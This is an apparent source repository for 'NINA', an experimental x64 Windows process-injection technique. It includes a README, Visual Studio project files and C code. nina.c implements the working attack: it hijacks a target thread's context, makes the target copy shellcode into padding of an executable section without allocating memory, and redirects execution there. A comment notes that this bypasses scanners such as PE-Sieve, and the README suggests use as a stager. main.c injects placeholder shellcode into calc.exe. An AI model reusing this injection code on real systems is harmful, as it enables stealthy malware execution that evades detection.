├── NINA ├── NINA │ ├── NINA.vcxproj.user │ ├── nina.h │ ├── NINA.vcxproj.filters │ ├── main.c │ ├── NINA.vcxproj │ └── nina.c └── NINA.sln └── README.md /NINA/NINA/NINA.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # NINA 2 | NINA: No Injection, No Allocation x64 Process Injection Technique 3 | 4 | A quick, experimental side project just for fun! 5 | 6 | This project will not be maintained. Sorry! 7 | 8 | ## Blog 9 | 10 | https://undev.ninja/nina-x64-process-injection/ 11 | 12 | ## Tested Environments 13 | 14 | * Windows 10 x64 version 2004 15 | * Windows 10 x64 version 1903 16 | 17 | ## Drawbacks 18 | 19 | * The shellcode size limitation is whatever can fit into the targeted `RX` section. Perhaps use it as a stager? 20 | * The shellcode also has to fit within the target stack location. Perhaps enumerate all of the modules' `RW` sections too? 21 | 22 | ## Something TODO 23 | 24 | * Fallback method to look for larger code caves within other modules if the executable image's is too small. 25 | -------------------------------------------------------------------------------- /NINA/NINA/nina.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | typedef LONG KPRIORITY; 6 | 7 | typedef struct _MY_CLIENT_ID { 8 | PVOID UniqueProcess; 9 | PVOID UniqueThread; 10 | } MY_CLIENT_ID, * PMY_CLIENT_ID; 11 | 12 | typedef struct _THREAD_BASIC_INFORMATION { 13 | NTSTATUS ExitStatus; 14 | PVOID TebBaseAddress; 15 | MY_CLIENT_ID ClientId; 16 | KAFFINITY AffinityMask; 17 | KPRIORITY Priority; 18 | KPRIORITY BasePriority; 19 | } THREAD_BASIC_INFORMATION, * PTHREAD_BASIC_INFORMATION; 20 | 21 | #define ThreadBasicInformation 0 22 | #define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 23 | 24 | BOOL 25 | InjectPayload( 26 | _In_ HANDLE ProcessHandle, 27 | _In_ HANDLE ThreadHandle, 28 | _In_ LPBYTE Shellcode, 29 | _In_ SIZE_T ShellcodeSize, 30 | _In_ BOOL RestoreExecution 31 | ); -------------------------------------------------------------------------------- /NINA/NINA/NINA.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | 26 | 27 | Header Files 28 | 29 | 30 | -------------------------------------------------------------------------------- /NINA/NINA.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29709.97 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NINA", "NINA\NINA.vcxproj", "{B75E7769-251B-4356-9CED-58281E973841}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {B75E7769-251B-4356-9CED-58281E973841}.Debug|x64.ActiveCfg = Debug|x64 17 | {B75E7769-251B-4356-9CED-58281E973841}.Debug|x64.Build.0 = Debug|x64 18 | {B75E7769-251B-4356-9CED-58281E973841}.Debug|x86.ActiveCfg = Debug|x64 19 | {B75E7769-251B-4356-9CED-58281E973841}.Release|x64.ActiveCfg = Release|x64 20 | {B75E7769-251B-4356-9CED-58281E973841}.Release|x64.Build.0 = Release|x64 21 | {B75E7769-251B-4356-9CED-58281E973841}.Release|x86.ActiveCfg = Release|x64 22 | EndGlobalSection 23 | GlobalSection(SolutionProperties) = preSolution 24 | HideSolutionNode = FALSE 25 | EndGlobalSection 26 | GlobalSection(ExtensibilityGlobals) = postSolution 27 | SolutionGuid = {30718AEF-9FCA-4E69-ADED-CE1F38708C4A} 28 | EndGlobalSection 29 | EndGlobal 30 | -------------------------------------------------------------------------------- /NINA/NINA/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "nina.h" 5 | 6 | // 7 | // Example shellcode: 8 | // Make sure to have 8 reserved bytes for 64-bit 9 | // jmp loop gadget to ROP into to stall execution. 10 | // You will also need 40 reserved bytes for the 11 | // shadow stack used by ReadProcessMemory and 12 | // WriteProcessMemory. 13 | // 14 | BYTE Shellcode[] = { 15 | // 16 | // 8 bytes for RET gadget. 17 | // 18 | 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 19 | // 20 | // Shadow stack. 21 | // 22 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 23 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 24 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 25 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 26 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 27 | // 28 | // Actual shellcode starts here. 29 | // 30 | 0xEB, 0xFE, 0x01, 0x23, 0x45, 0x67, 0x89, 0xAA, 31 | 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x90, 0x90, 0x90, 32 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 33 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 34 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 35 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 36 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 37 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 38 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 39 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 40 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 41 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 42 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 43 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 44 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 45 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 46 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 47 | }; 48 | 49 | int 50 | main( 51 | _In_ int argc, 52 | _In_ char* argv[] 53 | ) 54 | { 55 | STARTUPINFO si; 56 | PROCESS_INFORMATION pi; 57 | BOOL ret; 58 | 59 | ZeroMemory(&si, sizeof(si)); 60 | si.cb = sizeof(STARTUPINFO); 61 | si.dwFlags = STARTF_USESHOWWINDOW; 62 | si.wShowWindow = SW_SHOW; 63 | 64 | ZeroMemory(&pi, sizeof(pi)); 65 | 66 | // 67 | // Do whatever you need to do here to get a target 68 | // process and thread handle. 69 | // 70 | ret = CreateProcessW( 71 | L"C:\\Windows\\System32\\calc.exe", 72 | //L"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe", 73 | NULL, 74 | NULL, 75 | NULL, 76 | FALSE, 77 | 0, 78 | NULL, 79 | NULL, 80 | &si, 81 | &pi 82 | ); 83 | 84 | InjectPayload( 85 | pi.hProcess, 86 | pi.hThread, 87 | Shellcode, 88 | sizeof(Shellcode), 89 | TRUE 90 | ); 91 | 92 | return 0; 93 | } -------------------------------------------------------------------------------- /NINA/NINA/NINA.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | 16.0 15 | {B75E7769-251B-4356-9CED-58281E973841} 16 | Win32Proj 17 | NINA 18 | 10.0 19 | 20 | 21 | 22 | Application 23 | true 24 | v142 25 | Unicode 26 | 27 | 28 | Application 29 | false 30 | v142 31 | true 32 | Unicode 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | true 48 | 49 | 50 | false 51 | 52 | 53 | 54 | Level3 55 | true 56 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 57 | true 58 | 59 | 60 | Console 61 | true 62 | 63 | 64 | 65 | 66 | Level3 67 | true 68 | true 69 | true 70 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 71 | true 72 | 73 | 74 | Console 75 | true 76 | true 77 | true 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | -------------------------------------------------------------------------------- /NINA/NINA/nina.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "nina.h" 6 | 7 | #pragma comment(lib, "ntdll.lib") 8 | 9 | #define JMP_LOOP_OFFSET 0x1CF2B 10 | #define SHELLCODE_PADDING 0x30 11 | 12 | static 13 | BOOL 14 | SetExecutionContext( 15 | _In_ PHANDLE ThreadHandle, 16 | _In_opt_ PVOID *Rip, 17 | _In_opt_ PVOID *Rsp, 18 | _In_ DWORD64 Arg1, 19 | _In_ DWORD64 Arg2, 20 | _In_ DWORD64 Arg3, 21 | _In_ DWORD64 Arg4, 22 | _Out_opt_ PCONTEXT OutCtx 23 | ) 24 | { 25 | BOOL Success; 26 | CONTEXT Ctx; 27 | 28 | if (SuspendThread(*ThreadHandle) == -1) { 29 | return FALSE; 30 | } 31 | 32 | ZeroMemory(&Ctx, sizeof(CONTEXT)); 33 | Ctx.ContextFlags = CONTEXT_FULL; 34 | Success = GetThreadContext(*ThreadHandle, &Ctx); 35 | if (!Success) { 36 | return FALSE; 37 | } 38 | 39 | if (OutCtx) { 40 | ZeroMemory(OutCtx, sizeof(CONTEXT)); 41 | CopyMemory(OutCtx, &Ctx, sizeof(CONTEXT)); 42 | } 43 | 44 | if (Rip) { 45 | Ctx.Rip = *(DWORD64*)Rip; 46 | } 47 | 48 | if (Rsp) { 49 | Ctx.Rsp = *(DWORD64*)Rsp; 50 | } 51 | 52 | Ctx.Rcx = Arg1; 53 | Ctx.Rdx = Arg2; 54 | Ctx.R8 = Arg3; 55 | Ctx.R9 = Arg4; 56 | 57 | Success = SetThreadContext(*ThreadHandle, &Ctx); 58 | if (!Success) { 59 | return FALSE; 60 | } 61 | 62 | if (ResumeThread(*ThreadHandle) == -1) { 63 | return FALSE; 64 | } 65 | 66 | // 67 | // Sleep so SetThreadContext can take effect. 68 | // 69 | Sleep(100); 70 | 71 | return TRUE; 72 | } 73 | 74 | static 75 | BOOL 76 | GetStackOffset( 77 | _In_ HANDLE ProcessHandle, 78 | _In_ PVOID Address, 79 | _In_ SIZE_T AddressSize, 80 | _In_ SIZE_T ShellcodeSize, 81 | _Out_ ULONG_PTR *StackOffset 82 | ) 83 | { 84 | BOOL Success; 85 | ULONG_PTR* Stack = NULL; 86 | 87 | *StackOffset = 0; 88 | 89 | // 90 | // Allocate a stack to read a local copy. 91 | // 92 | Stack = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, AddressSize); 93 | if (!Stack) { 94 | return FALSE; 95 | } 96 | // 97 | // Scan stack for NULL fifth arg 98 | // 99 | Success = ReadProcessMemory( 100 | ProcessHandle, 101 | Address, 102 | Stack, 103 | AddressSize, 104 | NULL 105 | ); 106 | if (!Success) { 107 | return FALSE; 108 | } 109 | 110 | // 111 | // Enumerate from bottom (it's a stack). 112 | // Start from -5 * 8 => at least five arguments + shellcode. 113 | // 114 | for (SIZE_T i = AddressSize - 5 * sizeof(SIZE_T) - ShellcodeSize; i > 0; i -= sizeof(SIZE_T)) { 115 | ULONG_PTR* StackVal = (ULONG_PTR*)((LPBYTE)Stack + i); 116 | if (*StackVal == 0) { 117 | // 118 | // Get stack offset starting position. 119 | // 120 | *StackOffset = i + 5 * sizeof(SIZE_T); 121 | break; 122 | } 123 | } 124 | 125 | HeapFree(GetProcessHeap(), 0, Stack); 126 | 127 | return TRUE; 128 | } 129 | 130 | static 131 | BOOL 132 | GetStackLocation( 133 | _In_ HANDLE ProcessHandle, 134 | _In_ HANDLE ThreadHandle, 135 | _In_ SIZE_T ShellcodeSize, 136 | _Out_ PVOID* StackLocation 137 | ) 138 | { 139 | NTSTATUS Status; 140 | BOOL Success; 141 | THREAD_BASIC_INFORMATION ThreadBasicInfo; 142 | ULONG ReturnLength; 143 | NT_TIB Tib; 144 | ULONG_PTR StackOffset; 145 | 146 | *StackLocation = 0; 147 | 148 | Status = NtQueryInformationThread( 149 | ThreadHandle, 150 | ThreadBasicInformation, 151 | &ThreadBasicInfo, 152 | sizeof(THREAD_BASIC_INFORMATION), 153 | &ReturnLength 154 | ); 155 | if (!NT_SUCCESS(Status)) { 156 | return FALSE; 157 | } 158 | 159 | Success = ReadProcessMemory( 160 | ProcessHandle, 161 | ThreadBasicInfo.TebBaseAddress, 162 | &Tib, 163 | sizeof(NT_TIB), 164 | NULL 165 | ); 166 | if (!Success) { 167 | return FALSE; 168 | } 169 | 170 | Success = GetStackOffset( 171 | ProcessHandle, 172 | Tib.StackLimit, 173 | (ULONG_PTR)Tib.StackBase - (ULONG_PTR)Tib.StackLimit, 174 | ShellcodeSize, 175 | &StackOffset 176 | ); 177 | if (!Success) { 178 | return FALSE; 179 | } 180 | 181 | *StackLocation = (PVOID)((LPBYTE)Tib.StackLimit + StackOffset); 182 | 183 | return TRUE; 184 | } 185 | 186 | static 187 | BOOL 188 | GetStackAndShellcodeLocations( 189 | _In_ HANDLE ProcessHandle, 190 | _In_ HANDLE ThreadHandle, 191 | _In_ SIZE_T ShellcodeSize, 192 | _Out_ PVOID* StackLocation, 193 | _Out_ PVOID* ShellcodeLocation 194 | ) 195 | { 196 | NTSTATUS Status; 197 | BOOL Success; 198 | SIZE_T QuerySize; 199 | PROCESS_BASIC_INFORMATION ProcessBasicInfo; 200 | ULONG ReturnLength; 201 | PEB Peb; 202 | MEMORY_BASIC_INFORMATION MemoryBasicInfo; 203 | IMAGE_DOS_HEADER DosHeader; 204 | IMAGE_NT_HEADERS NtHeaders; 205 | PVOID ImageBaseAddress = NULL; 206 | ULONG_PTR StackOffset; 207 | 208 | // 209 | // Initialise to NULL. 210 | // 211 | *StackLocation = NULL; 212 | *ShellcodeLocation = NULL; 213 | 214 | // 215 | // Get PEB. 216 | // 217 | Status = NtQueryInformationProcess( 218 | ProcessHandle, 219 | ProcessBasicInformation, 220 | &ProcessBasicInfo, 221 | sizeof(PROCESS_BASIC_INFORMATION), 222 | &ReturnLength 223 | ); 224 | if (!NT_SUCCESS(Status)) { 225 | return FALSE; 226 | } 227 | 228 | // 229 | // Read base address. 230 | // 231 | Success = ReadProcessMemory( 232 | ProcessHandle, 233 | ProcessBasicInfo.PebBaseAddress, 234 | &Peb, 235 | sizeof(PEB), 236 | NULL 237 | ); 238 | if (!Success) { 239 | return FALSE; 240 | } 241 | 242 | ImageBaseAddress = Peb.Reserved3[1]; 243 | 244 | // 245 | // Get DOS header. 246 | // 247 | Success = ReadProcessMemory( 248 | ProcessHandle, 249 | ImageBaseAddress, 250 | &DosHeader, 251 | sizeof(IMAGE_DOS_HEADER), 252 | NULL 253 | ); 254 | if (!Success) { 255 | return FALSE; 256 | } 257 | 258 | // 259 | // Get NT Headers. 260 | // 261 | Success = ReadProcessMemory( 262 | ProcessHandle, 263 | (LPBYTE)ImageBaseAddress + DosHeader.e_lfanew, 264 | &NtHeaders, 265 | sizeof(IMAGE_NT_HEADERS), 266 | NULL 267 | ); 268 | if (!Success) { 269 | return FALSE; 270 | } 271 | 272 | // 273 | // Look for existing memory pages inside the executable image 274 | // so that we don't corrupt other images. 275 | // 276 | for (SIZE_T i = 0; i < NtHeaders.OptionalHeader.SizeOfImage && (!*StackLocation || !*ShellcodeLocation);) { 277 | QuerySize = VirtualQueryEx( 278 | ProcessHandle, 279 | (LPBYTE)ImageBaseAddress + i, // Base address 280 | &MemoryBasicInfo, 281 | sizeof(MEMORY_BASIC_INFORMATION) 282 | ); 283 | if (!QuerySize) { 284 | return FALSE; 285 | } 286 | 287 | // 288 | // Search for a RW region to act as the stack. 289 | // Note: It's probably ideal to look for a RW section 290 | // inside the executable image memory pages because 291 | // the padding of sections suits the fifth, optional 292 | // argument for ReadProcessMemory and WriteProcessMemory. 293 | // 294 | if (!*StackLocation && MemoryBasicInfo.Protect & PAGE_READWRITE) { 295 | // 296 | // Stack location in RW page starting at the bottom. 297 | // 298 | Success = GetStackOffset( 299 | ProcessHandle, 300 | MemoryBasicInfo.BaseAddress, 301 | MemoryBasicInfo.RegionSize, 302 | ShellcodeSize, 303 | &StackOffset 304 | ); 305 | if (!Success) { 306 | return FALSE; 307 | } 308 | 309 | *StackLocation = (PVOID)((LPBYTE)MemoryBasicInfo.BaseAddress + StackOffset); 310 | } else if (!*ShellcodeLocation && MemoryBasicInfo.Protect == PAGE_EXECUTE_READ && MemoryBasicInfo.RegionSize >= (ShellcodeSize - SHELLCODE_PADDING)) { 311 | // 312 | // Look from the bottom for potential padding. 313 | // Infecting padding will bypass tools like PE-Sieve. 314 | // 315 | *ShellcodeLocation = (PVOID)((LPBYTE)MemoryBasicInfo.BaseAddress + MemoryBasicInfo.RegionSize - ShellcodeSize + SHELLCODE_PADDING); 316 | } 317 | 318 | i += MemoryBasicInfo.RegionSize; 319 | } 320 | 321 | if (!*StackLocation) { 322 | // 323 | // Fallback to find the actual stack location. 324 | // 325 | GetStackLocation(ProcessHandle, ThreadHandle, ShellcodeSize, StackLocation); 326 | } 327 | 328 | return TRUE; 329 | } 330 | 331 | static 332 | BOOL 333 | InjectData( 334 | _In_ PHANDLE ProcessHandle, 335 | _In_ PHANDLE ThreadHandle, 336 | _In_ HANDLE TargetProcessHandle, 337 | _In_ PVOID *StackLocation, 338 | _In_ PVOID DataStoreAddress, 339 | _In_ PVOID DataWriteAddress, 340 | _In_ LPBYTE Data, 341 | _In_ SIZE_T ReadSize, 342 | _In_ SIZE_T WriteSize 343 | ) 344 | { 345 | BOOL Success; 346 | PVOID Kernel32; 347 | PVOID _ReadProcessMemory = NULL; 348 | PVOID _WriteProcessMemory = NULL; 349 | 350 | Kernel32 = GetModuleHandle(L"kernel32.dll"); 351 | if (!Kernel32) { 352 | return FALSE; 353 | } 354 | 355 | _ReadProcessMemory = GetProcAddress(Kernel32, "ReadProcessMemory"); 356 | if (!_ReadProcessMemory) { 357 | return FALSE; 358 | } 359 | 360 | _WriteProcessMemory = GetProcAddress(Kernel32, "WriteProcessMemory"); 361 | if (!_WriteProcessMemory) { 362 | return FALSE; 363 | } 364 | 365 | // 366 | // Get target process to read our data. 367 | // 368 | Success = SetExecutionContext( 369 | ThreadHandle, 370 | &_ReadProcessMemory, 371 | StackLocation, 372 | // RCX: Duplicated handle to our own process' data. 373 | (DWORD64)TargetProcessHandle, 374 | // RDX: Address to read data. 375 | (DWORD64)Data, 376 | // R8: Buffer to store data. 377 | (DWORD64)DataStoreAddress, 378 | // R9: Size to read 379 | ReadSize, 380 | NULL 381 | ); 382 | if (!Success) { 383 | return FALSE; 384 | } 385 | 386 | // 387 | // Get target process to write data. 388 | // 389 | Success = SetExecutionContext( 390 | ThreadHandle, 391 | &_WriteProcessMemory, 392 | StackLocation, 393 | // RCX: Self handle to write to self. 394 | (DWORD64)((HANDLE)-1), 395 | // RDX: Buffer to store data. 396 | (DWORD64)DataWriteAddress, 397 | // R8: Address to read data. 398 | (DWORD64)((LPBYTE)*StackLocation + SHELLCODE_PADDING), 399 | // R9: Size to write 400 | WriteSize, 401 | NULL 402 | ); 403 | if (!Success) { 404 | return FALSE; 405 | } 406 | 407 | return TRUE; 408 | } 409 | 410 | BOOL 411 | InjectPayload( 412 | _In_ HANDLE ProcessHandle, 413 | _In_ HANDLE ThreadHandle, 414 | _In_ LPBYTE Shellcode, 415 | _In_ SIZE_T ShellcodeSize, 416 | _In_ BOOL RestoreExecution 417 | ) 418 | { 419 | BOOL Success; 420 | CONTEXT OriginalCtx; 421 | HANDLE DupeProcessHandle; 422 | PVOID JmpGadget = NULL; 423 | PVOID StackLocation, ShellcodeLocation; 424 | PVOID _ReadProcessMemory = NULL; 425 | PVOID _WriteProcessMemory = NULL; 426 | LPBYTE OriginalShellcode = NULL; 427 | 428 | // 429 | // jmp loop (jmp -2) gadget to stall. 430 | // WARNING: This will change on different ntdll versions. 431 | // 432 | JmpGadget = (PVOID)((LPBYTE)GetModuleHandle(L"ntdll.dll") + JMP_LOOP_OFFSET); 433 | // 434 | // Set the first 8 bytes of the shellcode to the jmp loop 435 | // as per spec. 436 | // 437 | *(PVOID*)Shellcode = JmpGadget; 438 | 439 | // 440 | // Set execution to the jmp loop so that we can allow 441 | // the volatile registers to remain consistent using 442 | // SetThreadContext. 443 | // 444 | Success = SetExecutionContext( 445 | &ThreadHandle, 446 | &JmpGadget, 447 | NULL, 448 | 0, 449 | 0, 450 | 0, 451 | 0, 452 | &OriginalCtx 453 | ); 454 | if (!Success) { 455 | return FALSE; 456 | } 457 | 458 | Success = GetStackAndShellcodeLocations( 459 | ProcessHandle, 460 | ThreadHandle, 461 | ShellcodeSize, 462 | &StackLocation, 463 | &ShellcodeLocation 464 | ); 465 | if (!Success) { 466 | return FALSE; 467 | } 468 | 469 | if (RestoreExecution) { 470 | // 471 | // Optional recovery of overwritten data. 472 | // 473 | OriginalShellcode = HeapAlloc( 474 | GetProcessHeap(), 475 | HEAP_ZERO_MEMORY, 476 | ShellcodeSize - SHELLCODE_PADDING 477 | ); 478 | if (OriginalShellcode) { 479 | ReadProcessMemory( 480 | ProcessHandle, 481 | ShellcodeLocation, 482 | OriginalShellcode, 483 | ShellcodeSize - SHELLCODE_PADDING, 484 | NULL 485 | ); 486 | } 487 | } 488 | 489 | // 490 | // Dupe self proc handle so target process can read us. 491 | // 492 | Success = DuplicateHandle( 493 | GetCurrentProcess(), 494 | GetCurrentProcess(), 495 | ProcessHandle, 496 | &DupeProcessHandle, 497 | 0, 498 | FALSE, 499 | DUPLICATE_SAME_ACCESS 500 | ); 501 | if (!Success) { 502 | return FALSE; 503 | } 504 | 505 | InjectData( 506 | &ProcessHandle, 507 | &ThreadHandle, 508 | DupeProcessHandle, 509 | &StackLocation, 510 | StackLocation, 511 | ShellcodeLocation, 512 | Shellcode, 513 | ShellcodeSize, 514 | ShellcodeSize - SHELLCODE_PADDING 515 | ); 516 | 517 | // 518 | // Execute shellcode. 519 | // 520 | Success = SetExecutionContext( 521 | &ThreadHandle, 522 | // Set RIP to execute shellcode 523 | &ShellcodeLocation, 524 | NULL, 525 | // Arguments to shellcode are optional. 526 | 0, 527 | 0, 528 | 0, 529 | 0, 530 | NULL 531 | ); 532 | if (!Success) { 533 | return FALSE; 534 | } 535 | 536 | if (RestoreExecution) { 537 | // 538 | // Wait for execution to complete. 539 | // 540 | Sleep(10000); 541 | 542 | // 543 | // Restore original overwritten data and 544 | // recover execution. 545 | // 546 | if (OriginalShellcode) { 547 | InjectData( 548 | &ProcessHandle, 549 | &ThreadHandle, 550 | DupeProcessHandle, 551 | &StackLocation, 552 | (LPBYTE)StackLocation + SHELLCODE_PADDING, 553 | ShellcodeLocation, 554 | OriginalShellcode, 555 | ShellcodeSize - SHELLCODE_PADDING, 556 | ShellcodeSize - SHELLCODE_PADDING 557 | ); 558 | 559 | HeapFree(GetProcessHeap(), 0, OriginalShellcode); 560 | } 561 | 562 | if (SuspendThread(ThreadHandle) != -1) { 563 | SetThreadContext(ThreadHandle, &OriginalCtx); 564 | ResumeThread(ThreadHandle); 565 | } 566 | } 567 | 568 | return TRUE; 569 | } --------------------------------------------------------------------------------